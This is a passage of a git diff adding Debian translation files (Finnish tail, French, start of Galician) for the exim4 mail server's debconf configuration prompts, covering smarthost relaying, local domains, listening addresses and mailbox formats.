"jälkeinen osa), paitsi jos se piilotetaan osoitteen " +#~ "uudelleenkirjoituksella." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Kirjoita tähän ne paikallisten koneiden aliverkot, joista tuleva posti " +#~ "hyväksytään välitettäväksi." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "Tähän pitäisi sisältyä lista kaikista koneista, jotka käyttävät tätä " +#~ "konetta smarthostina." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "IPv6-osoitteissa on kaksoispisteet kahdennettava (esim. " +#~ "5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "Kirjoita kaksoispistein eroteltu lista IP-osoitteita joita kuunnellaan. " +#~ "IPv6 osoitteissa on kaksoispisteet kahdennettava (esim. " +#~ "5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "Tehdään Exim v4:n asetuksia (exim4-config)" + +#, fuzzy +#~ msgid "" +#~ "If you are configuring this system without local mail delivery this name " +#~ "won't appear on From: lines of mail, as rewriting is used." +#~ msgstr "" +#~ "Jos määrittelet tämän koneen satelliitiksi, tämä nimi ei näy sähköpostin " +#~ "From:-riveillä, koska osoitteiden uudelleenkirjoitus on käytössä." + +#~ msgid "" +#~ "Obviously, any machines that use us as a smarthost have to be excluded " +#~ "from the relaying controls, as using us to relay mail for them is the " +#~ "whole point." +#~ msgstr "" +#~ "Tietenkin on tätä konetta smarthostina käyttävät koneet ohitettava " +#~ "postinvälityksen ohjauksista, koska tämän koneen on nimenomaan tarkoitus " +#~ "välittää niiden postia." + +#~ msgid "" +#~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected " +#~ "to one or more user accounts of the actual system administrators. The " +#~ "default is to set things up so that mail for \"postmaster\" and for " +#~ "various system accounts is redirected to \"root\", and mail for \"root\" " +#~ "is redirected to a real user. This can be changed by editing /etc/" +#~ "aliases." +#~ msgstr "" +#~ "Tunnuksille \"postmaster\" ja \"root\" tuleva sähköposti ohjataan " +#~ "tavallisesti yhteen tai useampaan varsinaisten ylläpitäjien " +#~ "sähköpostilaatikoista. Oletusarvoisesti asetukset tehdään siten että " +#~ "\"postmaster\" ja erinäisille järjestelmän tunnuksille tuleva posti " +#~ "ohjataan tunnukselle \"root\" ja tunnuksen \"root\" posti ohjataan oikean " +#~ "käyttäjän sähköpostilaatikkoon. Tätä voidaan muuttaa muokkaamalla " +#~ "tiedostoa /etc/aliases. " + +#~ msgid "" +#~ "System administrator mail goes to which user accounts? Enter one or more " +#~ "usernames separated by spaces or commas. Enter \"none\" if you do not " +#~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot " +#~ "run deliveries as root and will save the mail to /var/mail/mail Also, " +#~ "note that usernames should be lowercase!" +#~ msgstr "" +#~ "Keiden käyttäjien postilaatikkoon menee järjestelmän ylläpitäjän " +#~ "sähköposti? Kirjoita yksi tai useampia käyttäjätunnuksia välilyönnein tai " +#~ "pilkuin eroteltuina. Kirjoita \"none\" jos et halua postin " +#~ "uudelleenohjausta. - HUOM. Tätä kehoitetaan ankarasti välttämään. Exim ei " +#~ "voi toimittaa postia pääkäyttäjänä ja tallettaa postit /var/mail/mail-" +#~ "tiedostoon. Huomaa myös käyttäjätunnukset kirjoitettavan pienillä " +#~ "kirjaimilla. " + +#~ msgid "internet, smarthost, satellite, local, none" +#~ msgstr "internet, smarthost, satelliitti, paikallinen, ei mitään" + +#~ msgid "" +#~ "You must choose one of the options below as configuration type for the " +#~ "Exim mail transport agent:" +#~ msgstr "" +#~ "Alla olevista sähköpostin välitysohjelman (MTA) asetusten tyypeistä on " +#~ "yksi valittava." + +#~ msgid "" +#~ "Internet site - mail is sent and received directly using SMTP. If your " +#~ "needs don't fit neatly into any category, you probably want to start with " +#~ "this one and then edit the config file by hand." +#~ msgstr "" +#~ "Internetiin kytketty kone - sähköposti lähetetään ja vastaanotetaan " +#~ "suoraan käyttäen SMTP:tä. Mikäli käyttötarkoituksesi ei sovi mihinkään " +#~ "valmiiseen vaihtoehtoon, halunnet aloittaa tällä ja muokata " +#~ "asetustiedostoa itse." + +#~ msgid "" +#~ "Internet site using smarthost - You receive Internet mail on this " +#~ "machine, either directly by SMTP or by running a utility such as " +#~ "fetchmail. Outgoing mail is sent using a smarthost. optionally with " +#~ "addresses rewritten. This is probably what you want for a dialup system." +#~ msgstr "" +#~ "Internetiin kytketty kone joka käyttää smarthostia - Internetistä tulevaa " +#~ "sähköpostia vastaanotetaan tällä koneella, joko suoraan SMTP:llä tai " +#~ "käyttämällä fetchmail:in tapaista työkalua. Lähtevä posti menee " +#~ "smarthostille, haluttaessa käyttäen osoitteiden uudelleenkirjoitusta. " +#~ "Tämä on se mitä hallunnet jos käytät soittoyhteyttä." + +#~ msgid "" +#~ "Satellite system - All mail is sent to another machine, called a \"smart " +#~ "host\" for delivery. root and postmaster mail is delivered according to /" +#~ "etc/aliases. No regular mail is delivered locally." +#~ msgstr "" +#~ "Satelliitti - Kaikki posti lähetetään toiselle smarthostiksi kutsutulle " +#~ "koneelle perille toimitettavaksi. Tunnusten root ja postmaster sähköposti " +#~ "jaellaan /etc/aliases-tiedoston mukaisesti. Tavallista postia ei jaeta " +#~ "paikallisesti." + +#~ msgid "" +#~ "Local delivery only - You are not on a network. Mail for local users is " +#~ "delivered." +#~ msgstr "" +#~ "Vain paikallinen sähköpostien toimitus - Verkkoyhteyttä ei ole. " +#~ "Sähköpostit toimitetaan koneen paikallisille käyttäjille. " diff --git a/debian/po/fr.po b/debian/po/fr.po new file mode 100644 index 0000000..854b392 --- /dev/null +++ b/debian/po/fr.po @@ -0,0 +1,682 @@ +# translation of fr.po to French +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# +# Christian Perrier <bubulle@debian.org>, 2006, 2007. +msgid "" +msgstr "" +"Project-Id-Version: fr\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-06-06 08:17+0200\n" +"Last-Translator: Christian Perrier <bubulle@debian.org>\n" +"Language-Team: French <debian-l10n-french@lists.debian.org>\n" +"Language: fr\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.4\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Faut-il supprimer les courriers non distribués du tampon d'envoi ?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Des courriers électroniques non distribués ont été trouvés dans le tampon " +"d'envoi d'Exim (/var/spool/exim4/input). Si vous supprimez Exim, ils ne " +"seront pas distribués tant qu'il ne sera pas réinstallé." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Si vous refusez cette option, le tampon d'envoi sera conservé, ce qui " +"permettra de distribuer les messages de la file d'attente lors de la " +"réinstallation d'Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Reconfiguration d'Exim avec exim4-config" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"La configuration d'Exim 4 est gérée par un paquet dédié nommé exim4-config. " +"Si vous souhaitez reconfigurer Exim 4, vous devez utiliser la commande " +"« dpkg-reconfigure exim4-config »." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "Distribution directe par SMTP (site Internet)" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "Envoi par relais (« smarthost ») — réception SMTP ou fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "Envoi par relais (« smarthost ») — pas de courrier local" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "Distribution locale seulement (pas de réseau)" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "Pas de configuration pour l'instant" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Type de configuration :" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Veuillez choisir le type de configuration qui correspond le mieux à vos " +"besoins." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Les systèmes utilisant des adresses IP dynamiques, notamment les systèmes " +"connectés par intermittence, doivent le plus souvent être configurés pour " +"envoyer les courriers électroniques sortants à une autre machine qui sert de " +"relais (« smarthost »). Cette option est conseillée car de nombreux systèmes " +"bloquent la réception des courriers envoyés par les systèmes utilisant une " +"adresse dynamique (protection contre les indésirables ou « spam »)." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Un système utilisant une adresse dynamique peut recevoir son propre courrier " +"à moins que la réception locale ne soit totalement désactivée (à l'exception " +"des courriers pour le superutilisateur ou pour « postmaster »)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Faut-il vraiment laisser le serveur de courrier non configuré ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Tant qu'il ne sera pas configuré, votre serveur de courrier ne sera pas en " +"état de fonctionner et sera inutilisable en l'état. Vous pouvez bien sûr le " +"configurer vous-même plus tard ou utiliser la commande « dpkg-reconfigure " +"exim4-config » avec les privilèges du superutilisateur." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Nom de courrier du système :" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"Le nom de courrier (« mail name ») est le nom de domaine qui sert à " +"compléter les adresses électroniques qui n'en comportent pas." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Ce nom sera également utilisé par d'autres programmes ; il doit correspondre " +"au domaine unique et complètement qualifié (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Par exemple, si une adresse électronique locale est toto@example.org, la " +"valeur appropriée pour cette option sera « example.org »." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Ce nom n'apparaîtra pas dans les en-têtes origines (« From ») des courriers " +"sortants si vous activez la réécriture." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Autres destinations dont le courrier doit être accepté :" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Veuillez indiquer une liste des domaines, séparés par des points-virgules, " +"pour lesquels cette machine est la destination finale. Il est inutile de " +"mentionner ici le nom d'hôte local (${fqdn}) ou « localhost ». Ces domaines " +"sont habituellement appelés des domaines locaux." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Par défaut, tous les domaines seront traités à l'identique. Ainsi, si a." +"exemple et b.exemple sont des domaines locaux, acc@a.exemple et acc@b." +"exemple seront distribués au même destinataire. Si vous souhaitez traiter un " +"domaine d'une manière différente, vous devrez modifier les fichiers de " +"configuration ultérieurement." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domaines à relayer :" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Veuillez indiquer la liste des domaines pour lesquels ce système acceptera " +"de relayer les courriers (par exemple en tant que serveur MX de secours ou " +"en tant que passerelle de courrier). Le courrier destiné à ces domaines sera " +"accepté quel que soit le système émetteur et sera distribué selon les règles " +"locales de distribution." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" +"Il n'est pas nécessaire de mentionner les domaines locaux ici. Des " +"caractères joker peuvent être utilisés." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Machines à relayer :" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Veuillez indiquer une liste de plages d'adresses IP, séparées par des points-" +"virgules, pour lesquelles ce système acceptera de relayer le courrier sans " +"discrimination (fonctionnement en « smarthost »)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Vous devez utiliser le format normalisé adresse/préfixe (par exemple " +"194.222.242.0/24 ou 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Si ce système ne doit pas être un « smarthost » pour d'autres systèmes, ce " +"champ devrait être laissé vide." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Nom de domaine visible pour les utilisateurs locaux :" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"L'option permettant de cacher le nom local de courrier a été activée. Il est " +"donc nécessaire d'indiquer le nom de domaine que ce système doit utiliser " +"pour les envois de courriers des utilisateurs locaux." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Nom réseau ou adresse IP du système « smarthost » :" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Veuillez indiquer l'adresse IP ou le nom d'hôte du serveur qui sera le " +"serveur de courrier sortant pour ce système (« smarthost »). Si ce serveur " +"accepte les connexions sur un port différent du port TCP 25, veuillez " +"l'indiquer avec deux caractères « deux-points » comme séparateurs, par " +"exemple « smarthost.exemple::587 » ou « 192.168.254.254::2525. Les " +"caractères « deux-points » dans les adresses IPv6 doivent être doublés." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Si le serveur « smarthost » impose une authentification, vous devriez " +"consulter les fichiers « README » spécifiques à Debian dans /usr/share/doc/" +"exim4-base pour plus d'informations sur l'authentification SMTP." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Destinataire des courriers de « root » et « postmaster » :" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Les courriers destinés au superutilisateur, à « postmaster » et aux autres " +"comptes système doivent être redirigés vers le compte utilisateur de " +"l'administrateur réel du système." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Si ce champ est laissé vide, ces courriers seront conservés dans /var/mail/" +"mail, ce qui est déconseillé." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Les courriers destinés « postmaster » devraient généralement être lus sur le " +"système local, plutôt que redirigés vers un autre système. En conséquence, " +"au moins un des utilisateurs que vous indiquez ne devraient pas rediriger " +"ses courriers vers une autre machine. Le préfixe « real- » peut être utilisé " +"pour imposer la distribution locale." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "" +"Si vous indiquez plusieurs identifiants, veuillez les séparer par des " +"espaces." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "" +"Liste d'adresses IP où Exim sera en attente de connexions SMTP entrantes :" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Veuillez indiquer une liste d'adresses IP, séparées par des points-virgules, " +"où le serveur de courrier SMTP d'Exim sera à l'écoute." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Si vous laissez cette entrée vide, Exim sera à l'écoute sur toutes les " +"interfaces réseau disponibles." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Si ce système ne reçoit du courrier que depuis des services locaux (et non " +"d'autres hôtes), vous devriez interdire les connexions externes au démon " +"d'Exim. Les services locaux incluent les programmes de courrier électronique " +"(« Mail User Agents » ou MUA) ainsi que des programmes tels que fetchmail. " +"La désactivation des connexions entrantes sur les interfaces réseau " +"publiques peut se faire en indiquant 127.0.0.1 ici." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Faut-il minimiser les requêtes DNS (connexions à la demande) ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"En fonctionnement normal, Exim effectue des contrôles DNS au démarrage et " +"lors de la réception ou de la distribution de messages. Cela est destiné à " +"la journalisation et permet de minimiser le nombre de valeurs codées en dur " +"dans le fichier de configuration." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Si cet hôte n'a pas de connexion permanente vers un serveur de noms, " +"notamment s'il utilise des connexions à la demande, cela peut avoir des " +"conséquences inattendues. Par exemple, le lancement d'Exim ou le traitement " +"de la file d'attente (même sans messages en attente) générera de coûteuses " +"connexions." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Cette option est conseillée pour les systèmes utilisant des connexions à la " +"demande. Elle devrait être désactivée pour des systèmes disposant d'une " +"connexion permanente." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Configuration du serveur de courrier" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Faut-il séparer la configuration dans plusieurs fichiers ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Les paquets d'Exim 4 peuvent utiliser soit un fichier monolithique (/etc/" +"exim4/exim4.conf.template), soit un nombre important de petits fichiers " +"dans /etc/exim4/conf.d/ pour créer la configuration finale." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Une configuration en un seul fichier est plus adaptée aux modifications " +"importantes et est généralement plus stable alors qu'une configuration " +"éclatée se prête mieux aux petites modifications mais est plus fragile " +"surtout si elle est modifiée sans précautions." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Des explications plus détaillées sur les deux types de fonctionnement " +"peuvent être trouvées dans les fichiers README spécifiques à la " +"distribution, placés dans /usr/share/doc/exim4-base/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Faut-il cacher le nom local de courrier dans les courriers sortants ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Les en-têtes des courriers sortants peuvent être réécrits afin qu'ils " +"semblent avoir été émis depuis un autre système : « ${mailname} », " +"« localhost » et « ${dc_other_hostnames} » seront alors remplacés dans les " +"en-têtes « From », « Reply-To », « Sender » et « Return-Path »." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "Format « mbox » dans /var/mail" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Format « Maildir » dans le répertoire de base (home)" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Méthode de distribution du courrier local :" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim peut conserver les courriers distribués localement dans différents " +"formats. Les plus courants sont les formats « mbox » et « Maildir ». Le " +"format « mbox » utilise un seul fichier pour le dossier des courriers, dans /" +"var/mail. Avec le format « Maildir », chaque message est stocké sous forme " +"d'un fichier dans le répertoire ~/Maildir." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Veuillez noter que la plupart des outils de traitement du courrier utilisent " +"le format « mbox » par défaut." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "Déplacer les courriels en attente dans le tampon d'Exim 3 vers celui " +#~ "d'Exim 4 ?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Des messages non distribués se trouvent dans le tampon d'envoi d'Exim 3 " +#~ "(ou Exim-tls 3), c'est à dire le répertoire /var/spool/exim/input/." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Si vous choisissez cette option, ils seront déplacés dans le tampon " +#~ "d'envoi d'exim4 (/var/spool/exim4/input/) où ils pourront être traités " +#~ "par exim4." + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Cette option est irréversible car Exim 4 peut gérer le tampon d'attente " +#~ "d'Exim 3 alors que l'inverse n'est pas possible. Vous ne devriez déplacer " +#~ "les messages que si vous n'avez pas l'intention de revenir à Exim 3. Dans " +#~ "le cas contraire, il sera préférable de déplacer les messages plus tard." diff --git a/debian/po/gl.po b/debian/po/gl.po new file mode 100644 index 0000000..9748121 --- /dev/null +++ b/debian/po/gl.po @@ -0,0 +1,788 @@ +# Galician translation of exim4's debconf templates +# Jacobo TarrÃo <jtarrio@debian.org>, 2005, 2007. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-07-15 16:41+0100\n" +"Last-Translator: Jacobo TarrÃo <jtarrio@debian.org>\n" +"Language-Team: Galician <proxecto@trasno.net>\n" +"Language: gl\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "¿Borrar as mensaxes sen enviar do directorio de traballo?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Hai mensaxes no directorio de traballo de Exim, /var/spool/exim4/input/, que " +"aÃnda non se entregaron. Se elimina Exim ha facer que queden sen entregar " +"ata que reinstale Exim." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Se non se escolle esta opción consérvase o directorio de traballo, o que " +"permite que as mensaxes da cola se envÃen nunha data posterior despois de " +"reinstalar Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Reconfigure exim4-config no canto deste 